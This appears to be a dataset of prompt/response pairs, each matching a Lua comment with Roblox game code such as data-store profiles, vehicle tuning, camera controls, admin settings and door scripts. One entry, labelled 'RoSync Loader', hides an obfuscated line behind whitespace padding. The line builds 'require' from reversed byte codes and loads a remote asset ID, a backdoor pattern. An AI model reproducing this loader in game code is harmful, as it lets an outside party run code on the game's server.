Prompt: -- New ProfileStore:

Response:
function ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]

	local profile_store_name
	local profile_store_scope = nil

	-- Parsing profile_store_index:
	if type(profile_store_index) == "string" then
		-- profile_store_index as string:
		profile_store_name = profile_store_index
	elseif type(profile_store_index) == "table" then
		-- profile_store_index as table:
		profile_store_name = profile_store_index.Name
		profile_store_scope = profile_store_index.Scope
	else
		error("[ProfileService]: Invalid or missing profile_store_index")
	end

	-- Type checking:
	if profile_store_name == nil or type(profile_store_name) ~= "string" then
		error("[ProfileService]: Missing or invalid \"Name\" parameter")
	elseif string.len(profile_store_name) == 0 then
		error("[ProfileService]: ProfileStore name cannot be an empty string")
	end

	if profile_store_scope ~= nil and (type(profile_store_scope) ~= "string" or string.len(profile_store_scope) == 0) then
		error("[ProfileService]: Invalid \"Scope\" parameter")
	end

	if type(profile_template) ~= "table" then
		error("[ProfileService]: Invalid profile_template")
	end

	local profile_store
	profile_store = {
		Mock = {
			LoadProfileAsync = function(_, profile_key, not_released_handler)
				return profile_store:LoadProfileAsync(profile_key, not_released_handler, UseMockTag)
			end,
			GlobalUpdateProfileAsync = function(_, profile_key, update_handler)
				return profile_store:GlobalUpdateProfileAsync(profile_key, update_handler, UseMockTag)
			end,
			ViewProfileAsync = function(_, profile_key, version)
				return profile_store:ViewProfileAsync(profile_key, version, UseMockTag)
			end,
			FindProfileVersionAsync = function(_, profile_key, sort_direction, min_date, max_date)
				return profile_store:FindProfileVersionAsync(profile_key, sort_direction, min_date, max_date, UseMockTag)
			end,
			WipeProfileAsync = function(_, profile_key)
				return profile_store:WipeProfileAsync(profile_key, UseMockTag)
			end
		},

		_profile_store_name = profile_store_name,
		_profile_store_scope = profile_store_scope,
		_profile_store_lookup = profile_store_name .. "\0" .. (profile_store_scope or ""),

		_profile_template = profile_template,
		_global_data_store = nil,
		_loaded_profiles = {},
		_profile_load_jobs = {},
		_mock_loaded_profiles = {},
		_mock_profile_load_jobs = {},
		_is_pending = false,
	}
	setmetatable(profile_store, ProfileStore)

	local options = Instance.new("DataStoreOptions")
	options:SetExperimentalFeatures({v2 = true})

	if IsLiveCheckActive == true then
		profile_store._is_pending = true
		task.spawn(function()
			WaitForLiveAccessCheck()
			if UseMockDataStore == false then
				profile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope, options)
			end
			profile_store._is_pending = false
		end)
	else
		if UseMockDataStore == false then
			profile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope, options)
		end
	end

	return profile_store
end

function ProfileService.IsLive() --> [bool] -- (CAN YIELD!!!)

	WaitForLiveAccessCheck()

	return UseMockDataStore == false

end


Prompt: -- list of account names allowed to go through the door.

Response:
permission = {"cheslin23t"}--Put your friends name's here. You can add more.

function checkOkToLetIn(name)
	for i = 1,#permission do

		if (string.upper(name) == string.upper(permission[i])) then return true end
	end
	return false
end

local Door = script.Parent

function onTouched(hit)
	print("Door Hit")
	local human = hit.Parent:findFirstChild("Humanoid")
	if (human ~= nil ) then
		-- a human has touched this door!
		print("Human touched door")
		-- test the human's name against the permission list
		if (checkOkToLetIn(human.Parent.Name)) then
			print("Human passed test")
			Door.Transparency = 0.7
			Door.CanCollide = false
			wait(1) -- this is how long the door is open
			Door.CanCollide = true
			Door.Transparency = 0
		else human.Health= 0 -- delete this line of you want a non-killing VIP door
		end
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: -- deviation: Object isn't a global in lua, so `Object.is` will never exist

Response:
local objectIs = is

return objectIs


Prompt:
-- upstream: https://github.com/facebook/react/blob/a89854bc936668d325cac9a22e2ebfa128c7addf/packages/shared/ReactVersion.js
--!strict
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 ]]


Prompt: -- OTHER VARIABLES --

Response:
local player = game.Players.LocalPlayer
local char = script.Parent
local hrp = char:WaitForChild("HumanoidRootPart")
local humanoid = char:WaitForChild("Humanoid")

if char:FindFirstChild("UpperTorso") then return end


Prompt:
--[[
	Cache results of a function such that subsequent calls return the cached result rather than
	call the function again.

	By default, a cached result is stored for each separate combination of serialized input args.
	Optionally memoize takes a serializeArgs function which should return a key that the result
	should be cached with for a given call signature. Return nil to avoid caching the result.
]]

Response:
function FunctionUtils.memoize(fn, serializeArgs)
	assert(type(fn) == "function")
	serializeArgs = serializeArgs or FunctionUtils.defaultSerializeArgs
	assert(type(serializeArgs) == "function")
	local cache = {}
	local proxyFunction = function(...)
		local proxyArgs = {...}
		local cacheKey = serializeArgs(proxyArgs)
		if cacheKey == nil then
			return fn(...)
		else
			if cache[cacheKey] == nil then
				cache[cacheKey] = fn(...)
			end
			return cache[cacheKey]
		end
	end
	return proxyFunction
end


Prompt:
--[[ Touch Events ]]--
-- On touch devices we need to recreate the guis on character load.

Response:
local lastControlState = nil
LocalPlayer.CharacterAdded:connect(function(character)
	if UserInputService.TouchEnabled then
		createTouchGuiContainer()
	end

	if ControlState.Current == nil then
		ControlState:SwitchTo(lastControlState)
	end
end)

LocalPlayer.CharacterRemoving:connect(function(character)
	lastControlState = ControlState.Current
	ControlState:SwitchTo(nil)
end)

UserInputService.Changed:connect(function(property)
	if property == 'ModalEnabled' then
		IsModalEnabled = UserInputService.ModalEnabled

		if lastInputType == Enum.UserInputType.Touch then
			if ControlState.Current == ControlModules.Touch and IsModalEnabled then
				ControlState:SwitchTo(nil)
			elseif ControlState.Current == nil and not IsModalEnabled then
				ControlState:SwitchTo(ControlModules.Touch)
			end
		end
	end
end)

if BindableEvent_OnFailStateChanged then
	BindableEvent_OnFailStateChanged.Event:connect(function(isOn)
		if lastInputType == Enum.UserInputType.Touch and ClickToMoveTouchControls then
			if isOn then
				ControlState:SwitchTo(ClickToMoveTouchControls)
			else
				ControlState:SwitchTo(nil)
			end
		end
	end)
end

local switchToInputType = function(newLastInputType)
	lastInputType = newLastInputType

	if lastInputType == Enum.UserInputType.Touch then
				ControlState:SwitchTo(ControlModules.Touch)
	elseif lastInputType == Enum.UserInputType.Keyboard or
			lastInputType == Enum.UserInputType.MouseButton1 or
			lastInputType == Enum.UserInputType.MouseButton2 or
			lastInputType == Enum.UserInputType.MouseButton3 or
			lastInputType == Enum.UserInputType.MouseWheel or
			lastInputType == Enum.UserInputType.MouseMovement  then
				ControlState:SwitchTo(ControlModules.Keyboard)
	elseif lastInputType == Enum.UserInputType.Gamepad1 or
			lastInputType == Enum.UserInputType.Gamepad2 or
			lastInputType == Enum.UserInputType.Gamepad3 or
			lastInputType == Enum.UserInputType.Gamepad4 then
				ControlState:SwitchTo(ControlModules.Gamepad)
	end
end

if IsTouchDevice then
	createTouchGuiContainer()
end

MasterControl:Init()

UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
	local connectedGamepads = UserInputService:GetConnectedGamepads()
	if #connectedGamepads > 0 then return end

	if UserInputService.KeyboardEnabled then
		ControlState:SwitchTo(ControlModules.Keyboard)
	elseif IsTouchDevice then
		ControlState:SwitchTo(ControlModules.Touch)
	end
end)

UserInputService.GamepadConnected:connect(function(gamepadEnum)
	ControlState:SwitchTo(ControlModules.Gamepad)
end)

switchToInputType(UserInputService:GetLastInputType())
UserInputService.LastInputTypeChanged:connect(switchToInputType)


Prompt: --[[Engine]]

Response:
	--Torque Curve
Tune.Horsepower		= 900--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 800		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 8000		--		Use sliders to manipulate values
	Tune.Redline		= 8500		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 6800
	Tune.PeakSharpness	= 3.8
	Tune.CurveMult		= 0.07

	--Incline Compensation
	Tune.InclineComp	= .5			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 250		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 150		-- Clutch engagement threshold (higher = faster response)


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 169		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 5500		--		Use sliders to manipulate values
	Tune.Redline		= 6500		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 1		-- Clutch engagement threshold (higher = faster response)


Prompt: -- Written By Kip Turner, Copyright Roblox 2014

Response:
local UIS = game:GetService("UserInputService")
local PathfindingService = game:GetService("PathfindingService")
local PlayerService = game:GetService("Players")
local RunService = game:GetService("RunService")
local DebrisService = game:GetService('Debris')
local ReplicatedStorage = game:GetService('ReplicatedStorage')

local CameraScript = script.Parent
local ClassicCameraModule = require(CameraScript:WaitForChild('RootCamera'):WaitForChild('ClassicCamera'))

local Player = PlayerService.localPlayer
local MyMouse = Player:GetMouse()

local DirectPathEnabled = false
local SHOW_PATH = false

local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList
local GetPartsTouchingExtents = workspace.FindPartsInRegion3


Prompt: -- دالة الاصطدام

Response:
local function onTouched(part)
	local humanoid = part.Parent:FindFirstChild("Humanoid")
	if humanoid then
		-- تشغيل التزعزع والسقوط في ترتيب متتالي
		shake()
		wait(0.5) -- انتظار قصير قبل السقوط لإعطاء انطباع التزعزع
		fall()
	end
end


Prompt:
--[[
	Returns the Window's model
]]

Response:
function Window:getModel()
	return self._model
end


Prompt: --[[ Last synced 3/7/2021 09:51                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt:
--script.Parent.EE.Velocity = script.Parent.EE.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.EEE.Velocity = script.Parent.EEE.CFrame.lookVector *script.Parent.Speed.Value

Response:
script.Parent.EEEE.Velocity = script.Parent.EEEE.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.F.Velocity = script.Parent.F.CFrame.lookVector *script.Parent.Speed.Value


Prompt: --- Player added function

Response:
local function PlayerAdded(player)
	if isStudio or _L.Admins.IsAdmin(player) then
		GiveGui(player)
	end
end


Prompt: -- Signals

Response:
okButton.InputBegan:Connect(closeDlg)
displayRoundResult.OnClientEvent:Connect(openDlg)


Prompt:
-----------------
--| Constants |--
-----------------

Response: local COOLDOWN = 0 -- Seconds until tool can be used again


Prompt: -- humanoidAnimatePlayEmote.lua

Response: local Figure = script.Parent


Prompt:
--wl.MaxVelocity = 0.007
--wl.Part0 = script.Parent.Parent.Misc.FL.Door.WD
--wl.Part1 = wl.Parent


Prompt: --[[Weight and CG]]

Response:
Tune.Weight			= 1100          -- Total weight (in pounds)
Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	--[[Width]]		6.5		,
	--[[Height]]		4.8		,
	--[[Length]]		17		}
Tune.WeightDist		= 51		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight		= .7		-- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible		= false		-- Makes the weight brick visible


Prompt: -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote

Response:
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}

math.randomseed(tick())

function configureAnimationSet(name, fileList)
	if animTable[name] then
		for _, connection in pairs(animTable[name].connections) do
			connection:disconnect()
		end
	end
	animTable[name] = {}
	animTable[name].count = 0
	animTable[name].totalWeight = 0
	animTable[name].connections = {}

	-- check for config values
	local config = script:FindFirstChild(name)
	if config then


Prompt: --//Server Animations

Response:
	RightHighReady = CFrame.new(-1, 0.55, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));
	LeftHighReady = CFrame.new(1,0.55,-1.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0));

	RightLowReady = CFrame.new(-1, 0.55, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));
	LeftLowReady = CFrame.new(1,0.55,-1.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0));

	RightPatrol = CFrame.new(-1, 0.55, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));
	LeftPatrol = CFrame.new(1,0.55,-1.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0));

	RightAim = CFrame.new(-1, 0.55, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));
	LeftAim = CFrame.new(1,0.55,-1.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0));

	RightSprint = CFrame.new(-1, 0.55, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));
	LeftSprint = CFrame.new(1,0.55,-1.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0));

	ShootPos = CFrame.new(0,0,.25);

}

return module


Prompt:
-- Replacements for RootCamera:RotateCamera() which did not actually rotate the camera
-- suppliedLookVector is not normally passed in, it's used only by Watch camera

Response:
function BaseCamera:CalculateNewLookCFrame(suppliedLookVector)
	local currLookVector = suppliedLookVector or self:GetCameraLookVector()
	local currPitchAngle = math.asin(currLookVector.y)
	local yTheta = math.clamp(self.rotateInput.y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle)
	local constrainedRotateInput = Vector2.new(self.rotateInput.x, yTheta)
	local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
	local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)
	return newLookCFrame
end
function BaseCamera:CalculateNewLookVector(suppliedLookVector)
	local newLookCFrame = self:CalculateNewLookCFrame(suppliedLookVector)
	return newLookCFrame.lookVector
end

function BaseCamera:CalculateNewLookVectorVR()
	local subjectPosition = self:GetSubjectPosition()
	local vecToSubject = (subjectPosition - game.Workspace.CurrentCamera.CFrame.p)
	local currLookVector = (vecToSubject * X1_Y0_Z1).unit
	local vrRotateInput = Vector2.new(self.rotateInput.x, 0)
	local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
	local yawRotatedVector = (CFrame.Angles(0, -vrRotateInput.x, 0) * startCFrame * CFrame.Angles(-vrRotateInput.y,0,0)).lookVector
	return (yawRotatedVector * X1_Y0_Z1).unit
end

function BaseCamera:GetHumanoid()
	local character = player and player.Character
	if character then
		local resultHumanoid = self.humanoidCache[player]
		if resultHumanoid and resultHumanoid.Parent == character then
			return resultHumanoid
		else
			self.humanoidCache[player] = nil -- Bust Old Cache
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if humanoid then
				self.humanoidCache[player] = humanoid
			end
			return humanoid
		end
	end
	return nil
end

function BaseCamera:GetHumanoidPartToFollow(humanoid, humanoidStateType)
	if humanoidStateType == Enum.HumanoidStateType.Dead then
		local character = humanoid.Parent
		if character then
			return character:FindFirstChild("Head") or humanoid.Torso
		else
			return humanoid.Torso
		end
	else
		return humanoid.Torso
	end
end

function BaseCamera:UpdateGamepad()
	local gamepadPan = self.gamepadPanningCamera
	if gamepadPan and (self.hasGameLoaded or not VRService.VREnabled) then
		gamepadPan = Util.GamepadLinearToCurve(gamepadPan)
		local currentTime = tick()
		if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
			self.userPanningTheCamera = true
		elseif gamepadPan == ZERO_VECTOR2 then
			if FFlagUserFixGamepadCameraTracking then
				self.userPanningTheCamera = false
				self.gamepadPanningCamera = false
			end
			self.lastThumbstickRotate = nil
			if self.lastThumbstickPos == ZERO_VECTOR2 then
				self.currentSpeed = 0
			end
		end

		local finalConstant = 0

		if self.lastThumbstickRotate then
			if VRService.VREnabled then
				self.currentSpeed = self.vrMaxSpeed
			else
				local elapsedTime = (currentTime - self.lastThumbstickRotate) * 10
				self.currentSpeed = self.currentSpeed + (self.maxSpeed * ((elapsedTime*elapsedTime)/self.numOfSeconds))

				if self.currentSpeed > self.maxSpeed then self.currentSpeed = self.maxSpeed end

				if self.lastVelocity then
					local velocity = (gamepadPan - self.lastThumbstickPos)/(currentTime - self.lastThumbstickRotate)
					local velocityDeltaMag = (velocity - self.lastVelocity).magnitude

					if velocityDeltaMag > 12 then
						self.currentSpeed = self.currentSpeed * (20/velocityDeltaMag)
						if self.currentSpeed > self.maxSpeed then self.currentSpeed = self.maxSpeed end
					end
				end
			end

			finalConstant = UserGameSettings.GamepadCameraSensitivity * self.currentSpeed
			self.lastVelocity = (gamepadPan - self.lastThumbstickPos)/(currentTime - self.lastThumbstickRotate)
		end

		self.lastThumbstickPos = gamepadPan
		self.lastThumbstickRotate = currentTime

		return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * self.ySensitivity * UserGameSettings:GetCameraYInvertValue())
	end

	return ZERO_VECTOR2
end


Prompt:
--[[
	Function called upon entering the state
]]

Response:
function PlayerGame.onEnter(stateMachine, serverPlayer, event, from, to)
	local player = serverPlayer.player

	coroutine.wrap(
		function()
			local character = player.Character

			if not character or not character.PrimaryPart then
				player:LoadCharacter()
				character = player.Character or player.CharacterAdded:Wait()

				while not character.PrimaryPart do
					wait()
				end

				character:WaitForChild("Humanoid")
			end

			if from ~= "camera" then
				onCharacterAdded(player, character)
			end

			local humanoid = character:FindFirstChild("Humanoid")

			humanoid.WalkSpeed = 16

			local primaryPart = character.PrimaryPart

			connections.characterAdded =
				player.CharacterAdded:Connect(
				function(character)
					while not character.Parent or character:FindFirstChild("Humanoid") do
						wait()
					end

					onCharacterAdded(player, character)
				end
			)

			while stateMachine.current == "game" do
				if isMoving then
					local currentTick = tick()
					MonsterManager.createInterestWhileTrue(
						primaryPart.Position,
						NOISE_GENERATED,
						function()
							return not isMoving or tick() < currentTick + NOISE_TIMEOUT
						end
					)
				end
				wait(0.25)
			end
		end
	)()
end


Prompt:
-- Here be dragons
-- luacheck: ignore 212

Response:
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
local Players = game:GetService("Players")
local Player = Players.LocalPlayer

local LINE_HEIGHT = 20
local WINDOW_MAX_HEIGHT = 300


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 560		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 500		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 3900		--		Use sliders to manipulate values
	Tune.Redline		= 4500		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 4500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.3			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 80		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 70		-- RPM decay when clutch is off
	Tune.RevBounce		= 10		-- RPM kickback from redline
	Tune.IdleThrottle	= 1			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Response:
sp=script.Parent

sp.Luminate.SourceValueChanged:connect(function(val)
	if val==1 then

		sp.Transparency=0
		sp.Sparkles.Enabled=true
	elseif val==0 then

		sp.Transparency=.5
		sp.Sparkles.Enabled=false
	end
end)


Prompt: --[[[Default Controls]]

Response:
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)

		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}

	--Control Mapping
	Tune.Controls = {

	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,

		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,

		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,

		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,

		--Handbrake
		PBrake					= Enum.KeyCode.P					,

	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,

	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}


Prompt: --AudioLib.__index = function(s, i) return s[i] end

Response:
function AudioLib.new(container)
	local self = {}

	self.DefaultProperties = {
		Children = nil;
		--ClearAllChildren = true;

		Looped = false;
		PlaybackSpeed = 1;
		Playing = false;
		SoundId = nil;
		TimePosition = 0;
		Volume = 0.25;
	}

	self.Playlist = {}
	self.Shuffle = false

	function self:GetSound() -- Retrieve the sound used for playing all music
		return self.Sound
	end

	function self:UpdateSound(data) -- Loops through a table of properties used to overwrite those of an existing instance.
		for property,value in pairs(data) do
			self.Sound[property] = value
		end
		return self.Sound
	end

	function self:SoundEnded() -- Loads the next song in the playlist
		if #self.Playlist > 0 then
			local index = table.find(self.Playlist, self.Sound.SoundId)
			if self.Shuffle then index = math.random(0, #self.Playlist) end
			if (index + 1) > #self.Playlist then
				index = 0
			end
			self.Sound.SoundId = self.Playlist[index + 1]
		end
	end

	local container = workspace:FindFirstChild(container.Name)
	self.Sound = container:FindFirstChild("AudioLib_Sound")
	if not self.Sound then
		self.Sound = Instance.new("Sound")
		self.Sound.Name = "AudioLib_Sound"
		self.Sound.Parent = container -- Don't ask me why I have to do this.
		self.Sound.Ended:Connect(function() self:SoundEnded() end)
		self:UpdateSound(self.DefaultProperties)
	end
	return self
end

return AudioLib


Prompt: --Defining the parts of the shelf

Response:
local sp=script.Parent
local drawer=sp.DrawerModel.Drawer
local val = script.bool.Value
function onClicked(clicked)

	if val == true then
		val = false
		drawer.ClickDetector.MaxActivationDistance=0
		drawer.Sound:Play()
		for loop = 1, 20 do
		sp:SetPrimaryPartCFrame(sp.PrimaryPart.CFrame * CFrame.new(0, 0,-.1) * CFrame.fromEulerAnglesXYZ(0, 0, 0))
		wait(0.05)
		end
		val = false
		drawer.ClickDetector.MaxActivationDistance=5

	elseif val == false then
		val = true
		drawer.ClickDetector.MaxActivationDistance=0
		drawer.Sound:Play()
		for loop = 1, 20 do
		sp:SetPrimaryPartCFrame(sp.PrimaryPart.CFrame * CFrame.new(0, 0, .1) * CFrame.fromEulerAnglesXYZ(0, 0, 0))
		wait(0.05)
		end
		val = true
		drawer.ClickDetector.MaxActivationDistance=5
		end
		end

drawer.ClickDetector.MouseClick:connect(onClicked)


Prompt: -- Basic Settings

Response:
AdminCredit=false;				-- Enables the credit GUI for that appears in the bottom right
AutoClean=false;				-- Enables automatic cleaning of hats & tools in the Workspace
AutoCleanDelay=60;				-- The delay between each AutoClean routine
CommandBar=true;				-- Enables the Command Bar | GLOBAL KEYBIND: \
FunCommands=true;				-- Enables fun yet unnecessary commands
FreeAdmin=false;				-- Set to 1-5 to grant admin powers to all, otherwise set to false
PublicLogs=false;				-- Allows all users to see the command & chat logs
Prefix=';';						-- Character to begin a command
								--[[
	Admin Powers

0			Player
1			VIP					Can use nonabusive commands only on self
2			Moderator			Can kick, mute, & use most commands
3			Administrator		Can ban, crash, & set Moderators/VIP
4			SuperAdmin			Can grant permanent powers, & shutdown the game
5			Owner				Can set SuperAdmins, & use all the commands
6			Game Creator		Can set owners & use all the commands

	Group & VIP Admin

		You can set multiple Groups & Ranks to grant users admin powers:

GroupAdmin={
[12345]={[254]=4,[253]=3};
[GROUPID]={[RANK]=ADMINPOWER}
};

		You can set multiple Assets to grant users admin powers:

VIPAdmin={
[12345]=3;
[54321]=4;
[ITEMID]=ADMINPOWER;
};								]]

GroupAdmin={

};

VIPAdmin={

};


Prompt: --// initialize variables //--

Response:
local playerTable = nil
local viewingNumber = 1
local player = game.Players.LocalPlayer

local focusedOnText = false
local UIS = game:GetService("UserInputService")

wait(1)


Prompt: --valava rotato..... fasta valava!!!!!!!!!! gooo.. goooooo!!!!! reaching maximum velocity!!!!!!!!!!!!!

Response:
local gabeNewell  = script.Parent.Valve
local TS = game:GetService("TweenService")
local CD = Instance.new("ClickDetector",gabeNewell)
CD.MaxActivationDistance = 4
local deb = false
CD.MouseClick:Connect(function()
	if not deb then
		deb = true
		local corp = TS:Create(gabeNewell,TweenInfo.new(1.5,Enum.EasingStyle.Cubic,Enum.EasingDirection.InOut,0,false,0),{CFrame = gabeNewell.CFrame * CFrame.Angles(math.pi,0,0)})
		corp.Completed:Connect(function()
			deb = false
		end)
		corp:Play()
	end

end)


Prompt: --Automatic Settings

Response:
Tune.AutoShiftMode	= "RPM"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
Tune.AutoUpThresh	= -200		-- Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400		-- Automatic downshift point (relative to peak RPM, positive = Under-rev)
Tune.ShiftTime = .25				-- The time delay in which you initiate a shift and the car changes gear


Prompt: --| Animations |--

Response: local Anims = Access.Animations


Prompt:
--[=[
	Cleans up the BaseObject and sets the metatable to nil
]=]

Response:
function BaseObject:Destroy()
	self._maid:DoCleaning()
	setmetatable(self, nil)
end

return BaseObject


Prompt:
--[[

ADMIN POWERS

0		Player
1		VIP/Donor
2		Moderator
3		Administrator
4		Super Administrator
5		Owner
6		Game Creator

First table consists of the different variations of the command.

Second table consists of the description and an example of how to use it.

Third index is the ADMIN POWER required to use the command.

Fourth table consists of the arguments that will be returned in the args table.
'player'	-- returns an array of Players
'userid'	-- returns an array of userIds
'boolean'	-- returns a Boolean value
'color'		-- returns a Color3 value
'number'	-- returns a Number value
'string'	-- returns a String value
'time'		-- returns # of seconds
'banned'	-- returns a value from Bans table
'admin'		-- returns a value from Admins table
-- Adding / to any argument will make it optional; can return nil!!!

Fifth index consists of the function that will run when the command is executed properly.	]]

Response:
return {

{{'test','othertest'},{'Test command.','Example'},6,{'number','string/'},function(pl,args)
print(pl,args[1],args[2])
end}

};


Prompt: --CreateGUI()

Response: humanoid.HealthChanged:connect(HealthChanged)


Prompt: -- (Hat Giver Script - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hair"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(1, 1, 2)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 0.05, -0.002)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Response:
local _lastTeleport = tick()
local _currentQueue = {}

function Queue._addToQueue(player)
	local waitingFor = Conf.min_queue_players - Queue._currentQueueCount()

	-- If this was the last player we were waiting for, start the queue timeout countdown
	if waitingFor == 1 then
		_lastTeleport = tick()
	end

	_currentQueue[player] = tick()

	Queue._sendStatus()
end

function Queue._removeFromQueue(player)
	_currentQueue[player] = nil
	Queue._sendStatus()
end

function Queue._closeQueue()
	local thisQueue = _currentQueue
	_currentQueue = {}
	return thisQueue
end

function Queue._currentQueueCount()
	local count = 0

	for _, _ in pairs(_currentQueue) do
		count = count + 1
	end

	return count
end

function Queue._teleportQueue()
	if Conf.disable_queue then
		-- Don't kick off a game if the queue is not mean tot be enabled
		return
	end

	local destinationId = Queue._destinationId
	local gameMode = Queue._gameMode

	local thisQueue = Queue._closeQueue()
	_lastTeleport = tick()

	Log.Debug.Queue("Reserving for %s", destinationId)

	local token = TeleportService:ReserveServer(destinationId)
	Log.Debug.Queue("Reserved %s for place %s", token, destinationId)

	local playerList = {}
	for player, queueTime in pairs(thisQueue) do
		table.insert(playerList, player)
	end

	local creationData = {
		isolated_server = true,
		game_mode = gameMode,
		player_count = #playerList,
	}

	Log.Debug.Queue("Teleporting %s players to %s (%s)", #playerList, destinationId, gameMode)

